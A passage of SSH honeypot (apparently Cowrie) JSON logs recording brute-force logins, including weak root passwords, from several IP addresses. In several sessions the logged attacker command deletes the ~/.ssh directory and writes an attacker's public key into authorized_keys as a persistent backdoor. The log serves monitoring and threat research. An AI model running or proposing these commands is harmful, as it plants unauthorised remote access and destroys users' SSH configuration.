sa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:21.495523Z","src_ip":"92.118.39.92","session":"47b9f4badb2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:21.833525Z","src_ip":"92.118.39.92","session":"47b9f4badb2f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Rr@123456","message":"login attempt [root/Rr@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:22.025430Z","src_ip":"103.62.152.202","session":"8912bae1a203","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:22.598231Z","src_ip":"103.62.152.202","session":"8912bae1a203","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:22.600605Z","src_ip":"103.62.152.202","session":"8912bae1a203","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:22.603237Z","src_ip":"103.62.152.202","session":"8912bae1a203","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:22.875833Z","src_ip":"103.62.152.202","session":"8912bae1a203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:22.934804Z","src_ip":"92.118.39.92","session":"47b9f4badb2f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:23.484190Z","src_ip":"103.62.152.202","session":"8912bae1a203","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:23.486308Z","src_ip":"103.62.152.202","session":"8912bae1a203","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:23.760788Z","src_ip":"103.62.152.202","session":"8912bae1a203","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:23.766715Z","src_ip":"103.62.152.202","session":"8912bae1a203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.62.152.202","src_port":57016,"dst_ip":"10.17.0.5","dst_port":22,"session":"61a64f31ab2a","protocol":"ssh","message":"New connection: 103.62.152.202:57016 (10.17.0.5:22) [session: 61a64f31ab2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:24.024059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:24.028315Z","src_ip":"103.62.152.202","session":"61a64f31ab2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:24.295766Z","src_ip":"103.62.152.202","session":"61a64f31ab2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:25.396137Z","src_ip":"103.62.152.202","session":"61a64f31ab2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:26.667448Z","src_ip":"103.62.152.202","session":"61a64f31ab2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.62.152.202","src_port":37027,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec37d03959f0","protocol":"ssh","message":"New connection: 103.62.152.202:37027 (10.17.0.5:22) [session: ec37d03959f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:26.932659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:26.937287Z","src_ip":"103.62.152.202","session":"ec37d03959f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:27.206023Z","src_ip":"103.62.152.202","session":"ec37d03959f0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:28.312967Z","src_ip":"103.62.152.202","session":"ec37d03959f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:28.584043Z","src_ip":"103.62.152.202","session":"8912bae1a203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:28.589315Z","src_ip":"103.62.152.202","session":"ec37d03959f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.2.212","src_port":43024,"dst_ip":"10.17.0.5","dst_port":22,"session":"e126a378377b","protocol":"ssh","message":"New connection: 103.78.2.212:43024 (10.17.0.5:22) [session: e126a378377b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:33.439943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:33.444406Z","src_ip":"103.78.2.212","session":"e126a378377b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:33.696233Z","src_ip":"103.78.2.212","session":"e126a378377b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"Tester","message":"login attempt [tester/Tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:34.733524Z","src_ip":"103.78.2.212","session":"e126a378377b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:35.987649Z","src_ip":"103.78.2.212","session":"e126a378377b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.71.136.125","src_port":51748,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6c21242428d","protocol":"ssh","message":"New connection: 116.71.136.125:51748 (10.17.0.5:22) [session: e6c21242428d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:42.275623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:42.281292Z","src_ip":"116.71.136.125","session":"e6c21242428d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:42.501303Z","src_ip":"116.71.136.125","session":"e6c21242428d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"Runner123!","message":"login attempt [runner/Runner123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:43.405697Z","src_ip":"116.71.136.125","session":"e6c21242428d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:44.625841Z","src_ip":"116.71.136.125","session":"e6c21242428d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.3","src_port":34154,"dst_ip":"10.17.0.5","dst_port":22,"session":"30cfd9aa577a","protocol":"ssh","message":"New connection: 118.193.33.3:34154 (10.17.0.5:22) [session: 30cfd9aa577a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:47.534926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:47.539575Z","src_ip":"118.193.33.3","session":"30cfd9aa577a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:47.764665Z","src_ip":"118.193.33.3","session":"30cfd9aa577a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Rr@123456","message":"login attempt [root/Rr@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:48.699955Z","src_ip":"118.193.33.3","session":"30cfd9aa577a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:49.187363Z","src_ip":"118.193.33.3","session":"30cfd9aa577a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:49.190595Z","src_ip":"118.193.33.3","session":"30cfd9aa577a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:49.194416Z","src_ip":"118.193.33.3","session":"30cfd9aa577a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:49.423136Z","src_ip":"118.193.33.3","session":"30cfd9aa577a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:49.898605Z","src_ip":"118.193.33.3","session":"30cfd9aa577a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:49.901687Z","src_ip":"118.193.33.3","session":"30cfd9aa577a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:50.131123Z","src_ip":"118.193.33.3","session":"30cfd9aa577a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:50.134506Z","src_ip":"118.193.33.3","session":"30cfd9aa577a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.3","src_port":49816,"dst_ip":"10.17.0.5","dst_port":22,"session":"b332327e22df","protocol":"ssh","message":"New connection: 118.193.33.3:49816 (10.17.0.5:22) [session: b332327e22df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:50.343856Z"}
